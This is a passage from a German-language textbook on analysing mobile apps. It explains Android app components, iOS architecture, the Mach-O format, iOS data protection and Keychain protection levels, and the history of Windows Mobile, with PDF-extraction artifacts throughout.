ob die Applikation auf externe Events wartet, um besondere Aktionen<br />

auszuführen (z. B. sobald eine SMS mit einem speziellen Text auf dem Gerät<br />

eintrifft, startet die Applikation und zeigt dem Nutzer eine Pop-up-Nachricht<br />

an). Wegen dieser Eigenschaften ist das Android-Manifest einer des besten<br />

Startpunkte für eine manuelle Analyse einer verdächtigen Applikation.<br />

Activities: Activities stellen eine interaktive grafische Benutzeroberfläche bereit,<br />

indem sie Daten und Informationen der Applikation auf dem Display darstellen<br />

und Touch-Events des Nutzers an die Applikation zur Verarbeitung<br />

weitergeben. Jede dieser Activities muss im Android-Manifest deklariert werden,<br />

andernfalls ist eine Ausführung nicht möglich. Wechselt eine Activity<br />

in den Hintergrund, z. B. durch das Öffnen einer anderen Applikation, pausiert<br />

die Activity und alle Daten, die nicht als persistent deklariert wurden,<br />

werden gelöscht. Befindet sich eine Activity in diesem Modus, so kann das<br />

Android-System diese löschen, um Ressourcen freizugeben.<br />

Intents: Intents sind ein spezieller Datentyp der Android-Architektur. Sie werden<br />

zur Kommunikation zwischen Komponenten einer Applikation oder zwischen<br />

Komponenten unterschiedlicher Applikationen verwendet. Jeder Intent<br />

besitzt zwei Attribute – Data und Action – und zusätzlich drei optionale Attribute<br />

– Types, Categories und Extras. Die Aktion beschreibt, was die Applikation<br />

mit den erhaltenen Daten macht. Das optionale Attribut Type ist<br />

nur nötig, falls die übermittelten Daten nicht in der URI-Syntax (Uniform<br />

Resource Identifier) vorliegen. In diesem Fall beschreibt der Type den MIME-<br />

Type der übermittelten Daten. Extras werden dann verwendet, wenn die zu<br />

übermittelten Daten nicht in das eigentliche Datenfeld passen. Das Attribut<br />

Category kann verwendet werden, um die Aktion genauer zu beschreiben.


8 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Intents können in zwei Arten aufgeteilt werden: implizit und explizit. Explizite<br />

Intents haben einen spezifischen Receiver, der im Intent selbst definiert ist<br />

und meist in unterschiedlichen Komponenten einer Applikation verwendet<br />

wird. Im Gegensatz dazu werden implizite Intents an den Paketmanager des<br />

Android-Systems weitergegeben, das dann die passende Applikation sucht,<br />

die den passenden Broadcast Receiver definiert hat.<br />

Broadcast Receivers: Android-Applikationen können eigene Activities als sogenannte<br />

Broadcast Receiver beim System registrieren. Dies hat zur Folge,<br />

dass – wenn eine andere Applikation oder das System selbst einen impliziten<br />

Intent via Broadcast-Nachricht versendet – der zugehörige Broadcast Receiver<br />

benachrichtigt wird und die damit verlinkte Activity gestartet wird.<br />

Content Provider: Dieser Datentyp wird verwendet, um persistente Daten für andere<br />

Applikationen zugänglich zu machen. Content Provider sind der einzige<br />

Weg, Daten zwischen Applikationen auszutauschen, da es im System keinerlei<br />

Speicherbereich gibt, der von allen Applikationen gemeinsam benutzt werden<br />

kann. Applikationen verwenden SQL und relationale Datenbankschnittstellen,<br />

um die bereitgestellten Daten zu verarbeiten.<br />

Services: Services sind Komponenten, die im Hintergrund und ohne Nutzerinterface<br />

ausgeführt werden und ebenfalls im Android-Manifest deklariert sowie<br />

dem Service Manager mitgeteilt sein müssen. Bei der Definition dieser Services<br />

kann auch festgehalten werden, wie die Applikationen bzw. die Komponenten<br />

der eigenen Applikation mit dem Service kommunizieren dürfen. Services<br />

können Dateisystemoperationen durchführen, Netzwerkverkehr überwachen<br />

oder anderweitige Informationen (wie z. B. den Standort des Gerätes) an andere<br />

installierte Applikationen weiterreichen. Verlangt eine Applikation Zugriff<br />

auf einen speziellen Service, so wird dies über den Binder IPC und den<br />

Service Manager umgesetzt. Dabei prüft der Service Manager die Zugriffsrechte<br />

und der Binder IPC agiert als direkte Kommunikationsschnittstelle<br />

zwischen Applikation und abgefragtem Service.<br />

Shared Preferences: Diese werden von der Applikation verwendet, um kleinere<br />

Datenmengen zu speichern, die zur Funktion benötigt werden (z. B.: Spielstände).<br />

Sie liegen meist als XML in einem Verzeichnis namens shared_prefs.<br />

Sensible Daten sollten hier auf keinen Fall abgelegt werden, da sie an dieser<br />

Stelle anfällig für Diebstahl und Offenlegung sind.<br />

1.2 Apple iOS<br />

Apple iOS, das ursprünglich aus Mac OS X entstand und auch heute noch viele<br />

Gemeinsamkeiten damit hat, gibt es seit 2007 für iPhones und später auch für<br />

iPads und den AppleTV. Im Gegensatz zu Android ist es jedoch Closed Source.<br />

Die Komponenten, die das System ausmachen und auch im weiteren Verlauf des


1.2 Apple iOS 9<br />

Buches von Interesse sind, werden in den folgenden Abschnitten genauer beleuchtet.<br />

1.2.1 Die Entwicklung der iOS-Plattform<br />

Die Geschichte von iOS begann im Jahr 2005, als bei Apple entschieden wurde,<br />

ein Smartphone zu entwickeln, das auf dem vom Mac bekannten OS X beruhte.<br />

Die Vorstellung des ersten iPhone und damit auch von iOS war knapp 2 Jahre<br />

später im Januar 2007 auf der MacWorld Conference and Expo. Zuerst unterstützte<br />

das iPhone nur einige wenige Applikationen von Apple selbst und sogenannte<br />

Web-Apps, bei denen lediglich im Browser eine GUI angezeigt wird und<br />

die eigentliche Technik auf einem Server-Backend läuft. Ab 2008 folgte dann das<br />

erste SDK, womit es möglich war, auch native Applikationen als Dritthersteller<br />

zu entwickeln. Zeitgleich wurde auch der App Store eingeführt um die Applikationen<br />

an die Endkunden zu vertreiben.<br />

Den offiziellen – und bis heute bekannten – Namen iOS bekam das System<br />

von Apple erst im Jahre 2010. Im selben Jahr wurden auch die Betriebssysteme<br />

von iPhones und iPads mit der Veröffentlichung von iOS 4.2.1 vereinheitlicht.<br />

Seit 2014 gibt es zusätzlich zu dem bekannten iOS auch noch watchOS für die<br />

Apple Watch sowie tvOS für den AppleTV mit einem Erscheinungsdatum ab<br />

2015 (zuvor besaß der AppleTV ebenfalls iOS als Betriebssystem). Die gesamte<br />

zeitliche Entwicklung der Plattform, speziell deren Hauptversionen, ist in Tabelle<br />

1–2 zusammen mit ihren Versionsnummern und Erscheinungsdaten dargestellt.<br />

Wie man an der Tabelle sehr schön erkennen kann, versucht Apple jedes<br />

Jahr zu ihrer September-Keynote eine neue Hauptversion von iOS vorzustellen.<br />

Dieser Termin ist für alle Entwickler, aber auch Analysten, ein Datum, an dem<br />

sie sich die neuen Funktionen der Plattform, aber vor allem auch die Änderungen<br />

an bisherigen Funktionen und Sicherheitsmechanismen genau anschauen sollten.<br />

Auch viele der in diesem Buch verwendeten Werkzeuge und Techniken sind stark<br />

von der iOS-Version der verbundenen Endgeräte abhängig.<br />

1.2.2 Die Architektur des Betriebssystems<br />

Die iOS-Architektur kann in fünf verschiedene Schichten unterteilt werden: Basis<br />

der Architektur ist das sogenannte Core OS (Darwin), darüber liegen die Core-<br />

Services gefolgt von der Schicht, die für Grafik, Audio und Video zuständig ist.<br />

Eine Schicht darüber folgt Cocoa Touch und als oberste Ebene die eigentlichen<br />

Applikationen (siehe Abbildung 1–2). Jede dieser fünf Schichten stellt spezielle<br />

Interfaces und Systemressourcen für die darüberliegende Schicht zur Verfügung,<br />

sodass eine Interaktion zwischen den einzelnen Schichten ermöglicht wird.


10 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Version Veröffentlichung Verwendung<br />

1.0 01/2007 s<br />

1.1 09/2007 s<br />

2.0 07/2008 s<br />

2.1 09/2008 s<br />

2.2 11/2008 s<br />

3.0 06/2009 s<br />

3.1 09/2009 s<br />

3.2 04/2010 s,t<br />

4.0 06/2010 s,t,a<br />

4.1 09/2010 s,t,a<br />

4.2 11/2010 s,t,a<br />

4.3 03/2011 s,t,a<br />

5.0 10/2011 s,t,a<br />

5.1 03/2012 s,t,a<br />

6.0 09/2012 s,t,a<br />

6.1 02/2013 s,t,a<br />

7.0 09/2013 s,t,a<br />

7.1 03/2014 s,t,a<br />

8.0 09/2014 s,t,a<br />

8.1 12/2014 s,t,a<br />

8.2 03/2015 s,t,a<br />

8.3 04/2015 s,t,a<br />

8.4 06/2015 s,t,a<br />

9.0 09/2015 s,t<br />

9.1 10/2015 s,t<br />

9.2 12/2015 s,t<br />

Tab. 1–2: Liste der iOS-Versionen und deren Erscheinungsdatum seit der ersten offiziellen Veröffentlichung<br />

in 2007 (s = iPhone/iPod Touch, t = iPad, a = AppleTV)


1.2 Apple iOS 11<br />

Apple<br />

Apps<br />

Applications<br />

Third-Party<br />

Apps<br />

UIKit<br />

Framework<br />

Cocoa Touch<br />

Foundation<br />

Framework<br />

OpenGL<br />

Core<br />

Graphics<br />

OpenAL<br />

Media<br />

Quartz<br />

Core<br />

Audio<br />

Media<br />

Player<br />

Address<br />

Book<br />

Core<br />

Foundation<br />

SQLite<br />

Core & Security Services<br />

CFNetwork<br />

Core<br />

Location<br />

XML<br />

Support<br />

System<br />

Utilities<br />

Core OS (Darwin)<br />

Mach Kernel<br />

Abb. 1–2: Übersicht der Architektur des iOS-Betriebssystems<br />

Das Core OS<br />

Das Core OS von iOS ist auch unter dem Namen Darwin bekannt und ist im<br />

Wesentlichen ein vollwertiges UNIX-Betriebssystem, jedoch ohne grafische Oberfläche.<br />

Es basiert auf dem Nutzerbereich von FreeBSD und einem Mach-Kernel.<br />

Damit bietet es Benutzern und Applikationen eine Schnittstelle zur Kommunikation<br />

mit der verbauten Hardware und steuert das Speichermanagement sowie die<br />

Zugriffe auf das Dateisystem und die unterste Schicht des Netzwerkstacks. Das<br />

Besondere an Darwin ist, dass es sowohl unter Apples älteren PowerPC-Plattform<br />

lauffähig ist (und dort auch Verwendung fand) als auch unter der aktuellen Intelund<br />

ARM-Plattform. Somit findet dieser Bereich von iOS auch auf den aktuellen<br />

mit Mac OS X betriebenen Systemen seinen Einsatz. Geräte mit iOS 9.x oder<br />

Mac OS X el Capitan setzen dabei auf die Version 15.x von Darwin.<br />

Core- und Security-Services<br />

Hier finden sich die Systembibliotheken von iOS, die sowohl vom System selbst<br />

als auch von allen installierten Apps verwendet werden. Hierzu gehören u. a. die


12 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

API, um mit dem iCloud-Speicherplatz zu interagieren, aber auch die nötigen<br />

Schnittstellen, um SQLite-Datenbanken zu lesen und zu schreiben oder um die<br />

Kommunikation über das Internet vorzunehmen. Des Weiteren sind hier auch die<br />

meisten Sicherheitsmechanismen verankert, wie z. B. Dataprotection (siehe dazu<br />

Abschnitt 1.2.3) und Automatic Reference Counting, auf das wir bei den Analysen<br />

von iOS-Applikationen noch zu sprechen kommen. In dieser Schicht werden<br />

auch In-App-Käufe und der Zugriff auf das Adressbuch sowie die Keychain (siehe<br />

dazu Abschnitt 1.2.3) gesteuert.<br />

Aufrufe von Bibliotheken dieser Schicht sind während des Reversings sehr<br />

gut daran zu erkennen, dass ihre Namen mit CF beginnen (z. B. CFReadStream und<br />

CFNetwork).<br />

Media<br />

In dieser Schicht liegen alle Bibliotheken, die für die Anzeige von Grafiken jeglicher<br />

Art, das Abspielen von Videos, die Wiedergabe sowie Aufzeichnung von Audio<br />

und AirPlay zuständig sind. AirPlay ist im übertragenen Sinn die Streaming-<br />

Technologie von Apple. Sie erlaubt es, Video- und Audiodaten an über WLAN<br />

verbundene Geräte (z. B. den AppleTV) weiterzugeben (engl. streaming), und<br />

stellt diesen Dienst allen Applikationen zur Verfügung.<br />

Cocoa Touch<br />

Cocoa Touch ist vergleichbar mit der Applikationsframework-Schicht auf Android<br />

und stellt dem Entwickler einfache Schnittstellen zu den darunterliegenden<br />

Bibliotheken zur Verfügung. Es besteht aus den folgenden drei Frameworks:<br />

■<br />

■<br />

Foundation (relevante Basisklassen der C-basierten Programmierung, wie<br />

z. B. Strings und Arrays),<br />

UIKit (besteht aus den folgenden zwei Komponenten: AppKit [alles, was man<br />

zur Entwicklung des User-Interface benötigt, also z. B. Menüs und Buttons,<br />

aber auch Sprachanbindung] sowie Core-Data zur Erstellung von Objektgraphen<br />

und zur Ablage von Daten)<br />

Klassen dieser Frameworks sind während des Reversings sehr gut daran zu erkennen,<br />

dass ihre Namen mit NS beginnen (z. B. NSString und NSException).<br />

Die Applikation selbst<br />

Darüber liegen schließlich die eigentlichen Applikationen. Jede dieser installierten<br />

Applikationen ist zum großen Teil in Objective-C geschrieben (mit optionalen eigenen<br />

Bibliotheken) oder neuerdings in Swift. Aktuell gibt es im offiziellen Apple<br />

App Store knapp über 1,5 Millionen dieser Applikationen (Apps) [16].


1.2 Apple iOS 13<br />

Die fertige Applikation wird über den App Store als IPA-Datei verteilt. Dieses<br />

Paket beinhaltet die kompilierte Applikation selbst, weitere Ressourcen, die zur<br />

Ausführung nötig sind, und Metadaten:<br />

■<br />

■<br />

■<br />

Payload/Applikation.app/: enthält alle statischen Ressourcen und eingebundenen<br />

Bibliotheken sowie die kompilierte Applikation (das sogenannte Mach-<br />

O-Binary) selbst<br />

iTunesArtwork: Icon für den App Store und iTunes<br />

iTunesMetadata.plist: Metadaten wie z. B. Entwicklername oder Versionsnummer<br />

Wie auch schon bei Android handelt es sich auch hier um einen Pakettyp, der<br />

mittels unzip entpackt werden kann.<br />

Mach-O-Binary<br />

Wie bereits kurz gezeigt, besteht eine iOS-Applikation aus verschiedenen Bestandteilen.<br />

Der für uns wichtigste Bestandteil ist das eigentliche Executable. Dieses<br />

liegt als Mach-O-Dateityp innerhalb des Paketes und ist – falls die Applikation<br />

aus dem App Store geladen wurde – solange verschlüsselt, bis sie auf dem Gerät<br />

ausgeführt wird. In diesem Moment wird die gesamte Applikation entschlüsselt<br />

und in den Speicher geladen (wie wir dies ausnutzen können, um an das entschlüsselte<br />

Binary für unsere Analyse zu kommen, zeigen wir in Abschnitt 5.3.3).<br />

Bei iOS ist es häufig der Fall, dass innerhalb dieser Mach-O-Datei mehrere<br />

Executables liegen (nämlich eines für jede CPU-Architektur, auf der die Applikation<br />

lauffähig sein soll). Diese Dateien nennt man dann auch Fat Binaries. Wir<br />

werden später sehen, wie man eine einzelne Architektur extrahiert und so ein<br />

schlankeres Binary für die Analysen erhält (siehe dazu Abschnitt 5.2.6).<br />

Ein solches Mach-O-Binary enthält die drei folgenden Bereiche (siehe dazu<br />

auch Abbildung 1–3):<br />

Header: Hiermit beginnt das Mach-O-Binary. Es enthält wichtige Metadaten<br />

über die Datei selbst, dazu zählen u. a. Dateiformat, aber auch die Architektur(en),<br />

die enthalten sind.<br />

Load-Kommandos: Dieser Bereich beschreibt das eigentliche Layout (initiales<br />

Layout der Datei im Speicher, Speicherort der Symboltabelle, Informationen<br />

zu den verschlüsselten Bereichen etc.) und die verlinkten Shared Libraries. Er<br />

besitzt für jedes Data-Segment eigene Load-Kommandos.<br />

Data: Hier befinden sich die entsprechenden Segmente und ihre Code- bzw. Datenbereiche.<br />

Die Struktur eines solchen Binaries – auch Executable genannt – ist für das manuelle<br />

Reversing sehr wichtig, wie wir in Abschnitt 5.4 sehen werden.


14 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Header<br />

Load Commands<br />

Segment 1 Command<br />

Segment 2 Command<br />

Data<br />

Segment<br />

1<br />

Segment<br />

2<br />

Section 1 Data<br />

Section 2 Data<br />

Section 3 Data<br />

Section 4 Data<br />

Section 5 Data<br />

.......<br />

Section n Data<br />

Abb. 1–3: Schematische Darstellung eines Mach-O-Binary<br />

1.2.3 Besondere Sicherheitsmechanismen<br />

Möchte man mit iOS als Analyseplattform arbeiten, so ist es wichtig, nicht nur<br />

die Eigenschaften des Systems und der Applikationen zu verstehen, sondern auch<br />

die Sicherheitsmechanismen, die Apple auf dieser Plattform eingeführt hat. Viele<br />

der im Folgenden beschriebenen Eigenschaften haben direkten Einfluss auf<br />

die Sicherheit der Applikation bzw. ihrer Daten und können wie im Fall der<br />

Dataprotection-Level und der Keychain vom Entwickler der Applikation beeinflusst<br />

werden. Aus diesem Grund ist es wichtig, die Unterschiede auch als Analyst<br />

zu kennen.<br />

Secure Boot Chain<br />

Die erste Stufe des Sicherheitsmodells von iOS – und somit auch die erste Hürde<br />

für Angriffe – ist die Secure Boot Chain. Also der Prozess, der das eigentliche Betriebssystem<br />

startet und dabei die gesamte Firmware lädt (für eine schematische<br />

Darstellung siehe Abbildung 1–4). Das Besondere hierbei ist, dass jede der relevanten<br />

Komponenten von Apple digital signiert wurde und diese Signatur beim<br />

Laden der Komponente überprüft wird. Dadurch kann eine Änderung oder gar<br />

der Austausch einzelner Komponenten erkannt und verhindert werden (Ähnliches


1.2 Apple iOS 15<br />

Boot ROM LLB iBoot iOS Kernel<br />

Abb. 1–4: Schematische Darstellung des Bootvorgangs unter iOS<br />

verwendet neuerdings auch Android bei Systemen, die mit KNOX ausgestattet<br />

sind).<br />

Schaltet der Nutzer das Endgerät an, so lädt der Prozessor als Erstes das Boot<br />

ROM. Dies ist ein spezieller Codeabschnitt, der während der Produktion in den<br />

Prozessorchip geschrieben wurde und nicht mehr verändert werden kann. Der<br />

wichtigste Bestandteil dieses Codes ist der Public-Key für Apples Root-CA.<br />

Mithilfe dieses Public Key kann die Signatur des Low Level Bootloader (LLB)<br />

verifiziert werden, bevor dieser dann gestartet wird. Der LLB besitzt neben einer<br />

Vielzahl an Routinen zum Starten essenzieller Schritte auch die Fähigkeit,<br />

das iBoot-Abbild im Flash-Speicher zu lokalisieren und dessen Signatur zu prüfen.<br />

Schlägt dessen Prüfung fehl, startet das iOS-Gerät im sogenannten Recovery-<br />

Modus.<br />

Gelingt die Prüfung, wird iBoot gestartet. Dieser zweite Bootloader nach LLB<br />

überprüft wiederum die Signatur des eigentlichen iOS-Kernels. Dieser lädt das eigentliche<br />

Betriebssystem mit allen Komponenten, die wir von der täglichen Nutzung<br />

kennen.<br />

Was man hier sehr schön erkennen kann, ist, dass Apple alles versucht, um<br />

zu verhindern, dass bis zu diesem Punkt etwas manipuliert wird oder wichtige<br />

Module ausgetauscht werden, die eine spätere Verwendung von iOS selbst beeinflussen<br />

können. Das Umgehen dieser sicheren Kette ist auch die größte Herausforderung<br />

für Personen oder Gruppen, die einen Jailbreak für iOS entwickeln.<br />

Dataprotection-Level<br />

Wie schon erwähnt ist eines der wichtigsten Punkte beim Entwickeln von Applikationen<br />

die Verschlüsselung bzw. sichere Speicherung von Daten. Gerade wenn<br />

es um sehr sensible Daten wie Unternehmensdaten oder persönliche Nachrichten<br />

geht, sollte man darauf achten, ob sie wirklich vor unberechtigtem Zugriff<br />

geschützt sind. Apple bietet hierzu eine eigene API an: NSFileProtection.<br />

Mit ihr hat der Entwickler einer Applikation die Möglichkeit, sich auf die<br />

Methoden und die Hardware von Apple zu verlassen, und muss sich keine eigenen<br />

Methoden oder gar Algorithmen ausdenken, um Daten sicher auf dem Gerät<br />

abzulegen. Hierzu hat Apple vier verschiedene Verschlüsselungsstufen bereitgestellt,<br />

aus denen der Entwickler wählen kann. Wie man in Abbildung 1–5 sehen<br />

kann, gibt es zwei verschiedene Werte, die in die Generierung der Schlüssel einfließen<br />

können: Hardware (also ein einzigartiger Schlüssel, der in der Hardware<br />

verankert ist) und Passcode (also der Passcode, den der Nutzer eingibt, um den


16 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Hardware<br />

Passcode<br />

NSFileProtectionNone<br />

NSFileProtectionComplete<br />

UntilFirstUserAuthentication<br />

NSFileProtectionComplete<br />

UnlessOpen<br />

NSFileProtectionComplete<br />

File File File File File File File File<br />

Abb. 1–5: Schematische Darstellung der Ableitung des Schlüsselmaterials<br />

Bildschirm zu entsperren). Die Details zu den einzelnen Stufen werden im Folgenden<br />

noch kurz erläutert1 :<br />

NSFileProtectionNone: Diese Stufe bezeichnet Apple selbst auch gerne als »No<br />

Protection«. Die damit geschützten Daten sind auf einem iOS-Gerät so lange<br />

verschlüsselt, wie es ausgeschaltet ist. Der Schlüssel wird hierbei jedoch lediglich<br />

aus Variablen, die auf dem Gerät gespeichert sind, abgeleitet und bietet<br />

somit nahezu keinen Schutz vor Angreifern.<br />

NSFileProtectionCompleteUntilFirstUserAuthentication: Hierbei wird ein<br />

Schlüssel aus Variablen des Gerätes selbst und dem Passcode des Nutzers<br />

abgeleitet. Der so generierte Schlüssel bleibt so lange im Speicher, bis es<br />

zu einem Neustart oder Ausschalten des Gerätes kommt. Dieser Schutz ist<br />

vergleichbar mit der Festplattenverschlüsselung eines Computers. Dies ist<br />

seit iOS 7.0 für alle Third-Party-Applikationen der Standardwert, sollte es<br />

vom Entwickler nicht explizit anders angegeben worden sein.<br />

NSFileProtectionCompleteUnlessOpen: Diese Stufe ist sehr ähnlich zu der zuvor<br />

erwähnten. Der einzige Unterschied besteht darin, dass der Schlüssel der Datei<br />

aus dem Speicher gelöscht wird, sobald die entsprechende Datei geschlossen<br />

wird. Hiermit ist es immer noch möglich, mit geschützten Dateien zu agieren,<br />

während der Bildschirm des Gerätes gesperrt ist (wie auch zuvor), jedoch<br />

wird der Schlüssel aus dem Speicher entfernt, sobald er nicht mehr benötigt<br />

wird.<br />

1 Für tiefer gehende Details empfehle ich: https://www.apple.com/business/docs/iOS_<br />

Security_Guide.pdf


1.2 Apple iOS 17<br />

NSFileProtectionComplete: Dies ist die höchste Stufe der Sicherheit bei iOS-<br />

Dateien. Hier wird der Schlüssel sofort aus dem Speicher gelöscht, sobald der<br />

Bildschirm des iOS-Gerätes sich sperrt. Dies verhindert aber auch, dass eine<br />

Applikation bei gesperrtem Bildschirm mit den so geschützten Daten arbeiten<br />

kann.<br />

Wie man am Pfeil in Abbildung 1–5 erkennen kann, steigt die Sicherheit der<br />

Verschlüsselung, je weiter man nach rechts geht, d. h., NSFileProtectionComplete<br />

bietet die beste Verschlüsselung. Aus den beschriebenen Eigenschaften und eventuellen<br />

Problemen ergibt sich direkt die Schlussfolgerung, dass ein Entwickler<br />

immer genau überlegen muss, wann er die Daten benötigt und welche Stufe der<br />

Verschlüsselung er somit anwenden kann. Hierbei sollte immer das Maximum<br />

gewählt werden, das den aktuellen Use Case noch ermöglicht.<br />

Die Keychain<br />

Die Keychain auf iOS ist vergleichbar mit einem Safe. Man kann in ihr schützenswerte<br />

oder hoch sensible Daten ablegen wie z. B. Passwörter, Zertifikate oder<br />

Crypto-Schlüssel. Wie auch schon bei der Ablage von Daten im Dateisystem, gibt<br />

es auch hier eine eigene API, die es erlaubt, vordefinierte Schutzlevel zu verwenden:<br />

kSecAttr.<br />

Es gibt folgende Schutzlevel für Einträge in der Keychain (aufsteigend sortiert<br />

von »kein Schutz« bis »maximaler Schutz«):<br />

kSecAttrAccessibleAlways: Diese Einträge in der Keychain sind immer verfügbar<br />

und zugreifbar.<br />

kSecAttrAccessibleAfterFirstUnlock: Diese Einträge sind verfügbar, sobald das<br />

Gerät einmal entsperrt wurde, bis zu einem Neustart.<br />

kSecAttrAccessibleWhenUnlocked: Damit versehene Einträge sind nur dann zugreifbar,<br />

wenn das Gerät entsperrt ist. Dies ist seit iOS 7.0 für alle Einträge<br />

der Standardwert, sollte es vom Entwickler nicht explizit anders angegeben<br />

worden sein.<br />

kSecAttrAccessibleAlwaysThisDeviceOnly: Diese Einträge in der Keychain sind<br />

immer verfügbar und zugreifbar, können aber nicht auf ein anderes Gerät<br />

übertragen werden (z. B. im Rahmen eines Sync oder Restore eines Backups<br />

auf ein neues iOS-Gerät).<br />

kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly: Hier gilt dasselbe wie bei<br />

kSecAttrAccessibleAfterFirstUnlock, die Einträge können aber nicht auf ein<br />

anderes Gerät übertragen werden.<br />

kSecAttrAccessibleWhenUnlockedThisDeviceOnly: Hier gilt dasselbe wie bei<br />

kSecAttrAccessibleWhenUnlocked, die Einträge können aber nicht auf ein anderes<br />

Gerät übertragen werden.


18 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly: Dies erlaubt es, nur dann<br />

auf Einträge in der Keychain zuzugreifen, wenn vom Nutzer ein Passcode<br />

gesetzt wurde und der Nutzer den Bildschirm mittels Passcode entsperrt hat<br />

(neu seit iOS 8). Wird dieser Passcode später wieder entfernt, können alle so<br />

markierten Einträge nicht mehr gelesen/entschlüsselt werden. Ein Übertragen<br />

auf ein anderes Gerät ist bei diesen Einträgen ebenfalls nicht möglich.<br />

Für einen Vergleich der wichtigsten Schutzlevel zwischen dem Dateisystem und<br />

der Keychain siehe Tabelle 1–3.<br />

Verfügbarkeit der<br />

Daten/Einträge<br />

Dataprotection-Level<br />

Keychain-Level<br />

Endgerät entsperrt NSFileProtectionComplete kSecAttrAccessibleWhenUnlocked<br />

Endgerät gesperrt<br />

Nach erstmaligem<br />

Entsperren<br />

Sobald Passcode<br />

verfügbar<br />

NSFileProtectionComplete<br />

UnlessOpen<br />

NSFileProtectionComplete<br />

UntilFirstUserAuthentication<br />

n/a<br />

n/a<br />

kSecAttrAccessibleAfter-<br />

FirstUnlock<br />

kSecAttrAccessibleWhen<br />

PasscodeSetThisDeviceOnly<br />

Immer NSFileProtectionNone kSecAttrAccessibleAlways<br />

Tab. 1–3: Übersicht der Schutzlevel für Daten auf dem Dateisystem und Keychain-Inhalte<br />

bei iOS<br />

1.3 Windows 10 <strong>Mobile</strong><br />

Windows 10 <strong>Mobile</strong> ist die neueste Generation eines mobilen Betriebssystems von<br />

Microsoft. Microsoft baut seit dem Jahr 2002 solche Betriebssysteme und hatte<br />

sie früher unter dem Namen Windows <strong>Mobile</strong> veröffentlicht. In 2010 wurde dann<br />

das komplett überarbeitete und gänzlich neu-entwickelte System Windows Phone<br />

vorgestellt, das seither immer näher an die Desktop-Version angeglichen wird und<br />

seit 2015 unter dem Namen Windows 10 <strong>Mobile</strong> bekannt ist.<br />

Die Komponenten, die das System ausmachen und auch im weiteren Verlauf<br />

des Buches von Interesse sind, werden wir uns in den folgenden Abschnitten genauer<br />

ansehen, und feststellen, wo für eine Analyse die wichtigen Daten liegen<br />

und die ersten Angriffsvektoren zu finden sind.<br />

1.3.1 Die Entwicklung der Windows Phone-Plattform<br />

Die Geschichte von Windows Phone begann bereits im Jahr 2002 mit der ersten<br />

Version von Windows <strong>Mobile</strong>. Dieses OS basierte auf Windows CE 3.0 und


1.3 Windows 10 <strong>Mobile</strong> 19<br />

wurde speziell für tastaturlose PDAs (Personal Digital Assistant) entwickelt. Im<br />

folgenden Jahr wurden mehrere Versionen dieses Betriebssystems auf den Markt<br />

gebracht, die unterschiedliche Einsatzszenarien hatten. Dazu zählten u. a. PDAs<br />

mit Telefonfunktion und reine Smartphones ohne Touchdisplay.<br />

2005 brachte Microsoft dann die Version Windows <strong>Mobile</strong> 5 auf den Markt.<br />

Dieses OS hatte einige gravierende Änderungen zu den Vorgängern wie z. B. das<br />

.NET Compact Framework und verbesserte Versionen der Office-Apps. Zwischen<br />

2007 und 2010 wurden verschiedene Versionen von Windows <strong>Mobile</strong> 6<br />

veröffentlicht. In den meisten Fällen wurde innerhalb dieser Versionen Bugs sowie<br />

Features, die die User Experience betreffen, geändert. Es gab jedoch auch einige<br />

Features im Bereich der Sicherheit des OS und der angeschlossenen Peripherie.<br />

Dazu zählten u. a. das Verschlüsseln der externen Speicherkarten, Remote Wipe<br />

auch für die Speicherkarte, verbesserte Zertifikatshandhabung und Gerätesperre<br />

sowie eine per Exchange-Policy aktivierbare Verschlüsselung der PIM-Daten<br />

(Personal Information Manager).<br />

2010 kam mit dem eigentlichen Update auf Windows <strong>Mobile</strong> 7 auch die<br />

Namensänderung zu Windows Phone. Dieses OS beruhte zwar immer noch auf<br />

Windows CE, hatte aber zusätzlich Bestandteile aus Windows Compact enthalten<br />

und schon versucht, das neue kachelbasierte Design auf die mobilen Endgeräte zu<br />

bringen. Mit der Allianz von Nokia und Microsoft kam dann im Jahre 2012 Windows<br />

Phone 8 auf den Markt, das als erstes OS der mobilen Microsoft-Geschichte<br />

nicht mehr auf Windows CE aufbaute, sondern denselben Unterbau wie die vom<br />

Desktop bekannten Systeme Windows 8 und Windows RT hatte: Windows NT.<br />

Windows 10 <strong>Mobile</strong> ist die neueste Version des mobilen OS von Microsoft<br />

und wurde speziell für den Einsatz auf Smartphones und Tablets entwickelt. Im<br />

Wesentlichen ist es eine angepasste Ausgabe des vom PC bekannten Windows 10.<br />

Microsoft versucht mit der in 2015 vorgestellten Version, eine Art Symbiose aus<br />

beiden Welten zu erschaffen. Eine echte Verbreitung dieses OS begann jedoch<br />

erst im Herbst 2015 mit dem Update einiger Windows Phone-8.x-Modelle. Der<br />

Marktanteil im 4. Quartal 2015 betrug lediglich 1,1 % [7], was deutlich zeigt,<br />

dass dieses OS bisher nur ein Nischenprodukt ist. Dies hat auch zur Folge, dass<br />

es wenig Forschung im Bereich der Analyse dieser Plattform gibt, was sich leider<br />

auch auf die im weiteren Verlauf dieses Buches beschriebenen Methoden auswirkt.<br />

Eine Übersicht dieser Entwicklung ist noch einmal in Tabelle 1–4 dargestellt.<br />

Sie enthält zudem die Plattformen, auf denen die einzelnen OS-Versionen zum<br />

Einsatz kamen, und zeigt damit auch das Ende der PocketPCs – wie Microsoft<br />

seine PDAs stets nannte – im Jahre 2010.<br />

Im Folgenden werden wir uns ausschließlich auf die neuere Generation des<br />

mobilen Betriebssystems mit Windows-NT-Kernel konzentrieren.


20 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Version Veröffentlichung Verwendung<br />

Windows <strong>Mobile</strong> 2002 01/2002 p<br />

Windows <strong>Mobile</strong> 2003 06/2003 s,p<br />

Windows <strong>Mobile</strong> 2003 SE 03/2004 s,p<br />

Windows <strong>Mobile</strong> 5 05/2005 s,p<br />

Windows <strong>Mobile</strong> 6 02/2007 s,p<br />

Windows <strong>Mobile</strong> 6.1 04/2008 s,p<br />

Windows <strong>Mobile</strong> 6.5 05/2009 s,p<br />

Windows <strong>Mobile</strong> 6.5.3 02/2010 s,p<br />

Windows Phone 7 02/2010 s<br />

Windows Phone 8 06/2012 s,t<br />

Windows 10 <strong>Mobile</strong> 01/2015 s,t<br />

